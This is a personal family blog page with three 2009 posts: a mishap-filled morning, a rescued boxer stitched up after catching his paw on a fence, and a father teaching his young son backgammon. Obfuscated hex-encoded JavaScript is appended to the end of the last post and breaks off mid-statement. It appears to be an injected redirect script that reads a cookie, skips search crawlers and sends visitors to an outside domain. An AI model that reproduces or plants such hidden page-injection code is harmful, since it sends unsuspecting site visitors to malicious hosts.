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Sam-Quick Morning Blog

This one’s about having “one of those mornings”.

It starts at 4:00am as I am shaving in the shower and feel that all too familiar razor slice on the neck.  Instant shock and burning and droplets of red on the shower floor.  Luckily I’ve seen 3 episodes of Grey’s Anatomy so I was able to stem the bleeding.  Seriously, my “go to” trick is an ice cube on the small nicks.  Works every time.

A few minutes later on the way out the door with my laptop bag in one hand, lunch in the other and 16oz plastic cup full of Diet Coke clenched in my teeth…well the inevitable happened and the cup slipped from my teeth.  

Now I’ve been doing this for years and have never, ever dropped the cup…until today.

Diet Coke and ice went everywhere including on the laptop bag and my jeans.  Having numerous children I know how to quickly jump into action to mop up a spill.  Two soggy towels and three minutes later I’ve refilled the cup and I’m ready to head out the door.  I’m OCD about my morning routine so the 3 minute delay has me in a tizzy…not to mention the wet spot on my jeans (left thigh).

The ride to work was uneventful (though I was waiting for something). 

Within the first five minutes at work the optical mouse appeared to die on one of the control room computers.  I couldn’t get it to move at all…even after beating it repeatedly on the desktop (hey, sometimes that does work).  Since I don’t know where they keep the spare mouses or mice or whatever, my go to remedy is the ever popular reboot.  Surprisingly that seems to have fixed the mouse problem…who knew.

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July 29, 2009 at 6:33 am Leave a comment

(Murphy) A Bad Day for Chevy

 

Chevy and Ashley are both boxer rescues that we adopted. Chevy was our first ( October 2007) and then Ashley followed for companionship in July of 2008.

Because they are rescues, it’s hard to know what their lives were before us. Their lives are both very good now-and they are an important part of the family.

All we know about the past are two things: Chevy was a Hurricane Katrina rescue, and Ashley was rescued by a hunter who had found her shot and left for dead. What we know about the present are two more things: Chevy is Mr Nervous, jittery, and a constant licker-and always on the lookout for anything unusual outside the house. Ashley is laid back until she sees other dogs, heavy ( despite the fact they are both on strict diets) and is the bigger barker of the two.

Rarely is there too much drama other than the occasional chewed and headless Barbie doll, or the stealth move to grab a pop tart for some gastric hell later in the day. Unfortunately this past Saturday had 10 seconds of high drama that landed Chevy at the vet.

There were more dogs than usual at the neighbors’ house this weekend, which of course peaked both Ashley’s interest and vocal chords. Really not much unusual, just doing what nosy dogs do. In fact, as nervous as Chevy can be about the exact GPS location of me and Jodi at any given moment, Chevy usually doesn’t care much about barking dogs. That is until Ashley gets really wound up jumping and digging at the fence, which he then dives in with her.

This time his jittery but swift paw landed in the wrong place. While digging under our wooden fence, he caught the chain link of the neighbors fence. I’ll spare you the details…. except to say that he did what he shouldn’t have done but what all dogs do and pulled his paw back. I immediately put him in the truck and headed to the vet while he held his hurt leg up.

A large set of stiches, and an extended stay at the vet is how he began the weekend. He’s doing fine, but needs to stay away from the excitement until it all heals-and coming home would get in the way of the healing. I hear he’s got a large bandage and one of those Victrola looking cones on his head to keep him from chewing or licking his foot.

As I walked out of the vet’s office, that heavy feeling came over me. That feeling of how we love our pets as one of the family and will do what we need to take care of them. That feeling of how when they hurt, we hurt. It made me wonder again how Chevy and Ashley were treated before we adopted them. It also made me grateful for people who so passionately love animals that they spend their college years learning how to care, treat, and operate-never knowing what emergency may come next.

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July 26, 2009 at 9:07 pm Leave a comment

Sam-Killer Backgammon

Five year old Jack has been bugging me lately to play poker.  He saw the game board and chips in the game closet a couple weeks back and he said he wanted to play.  I tried explaining how hard it was, but he fired back that he’s already played at paw paw’s and he’d beat paw paw with a “big house”.  Right.

He was pushing again Sunday to play and I think I finally convinced him that now is not the time.  So, he shifted to wanting to play any game in the closet.  I figured why not, we’ve got Sorry and Trouble and other kid’s games…can’t be that bad.

Well he emerged from the closet with backgammon.  I asked if he know what it was and he said he didn’t.  He also couldn’t be persuaded to get something easier to play, so I figured I’d give it a shot.

Like a nerd I showed him how to set up the board properly, explained that he got to roll a pair of dice and he could roll doubles and how he could move pieces off the board to win…blah, blah, blah.  This all seemed to be going in one ear and out the other until I mentioned that he could also land on a space that had one of my pieces and “bar” my piece.

Now in backgammon, barring means you put the other person’s piece out and they have to roll the proper number to get that piece back on the board.  It wasn’t necessarily me using the term “bar” that got Jack’s attention, but when I broke it down into Jack terms and said it was “killing”…well then it got exciting.  All of a sudden he was happy to know that he could “kill” my  pieces…kinda like he could “kill” my pieces in Trouble and Sorry.

Ah…violence was the key.  The killing also became his strategy.  It didn’t matter that I tried explaining about getting his pieces around the board safely until he could move them off and WIN!  No, that no longer concerned him.  The whole point of the game now was KILLING!  Sadly for me it proved to be an effective strategy: he’d see a piece unguarded and go for the kill.  I spent the whole game (two games actually) being unable to advance any pieces.  And, my attempts to explain how this was not a good strategy…well those were useless because he was happy “killing” my pieces.

I did finally run out of pieces in his path that could be killed, and he eventually refocused on getting his pieces off the board and winning both games.  I admit I did take it easy on him while trying to explain the proper way to play…so he didn’t really “beat me”. I’m just thinking maybe Milton Bradley and Parker Brothers need to look at possibly repackaging and reengineering the classic games to draw more interest from the kids: get rid of “checkmate” and “king me” and “bingo” and start using terms like “death grip” and “kill” and “slay”.  Just an idea.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== 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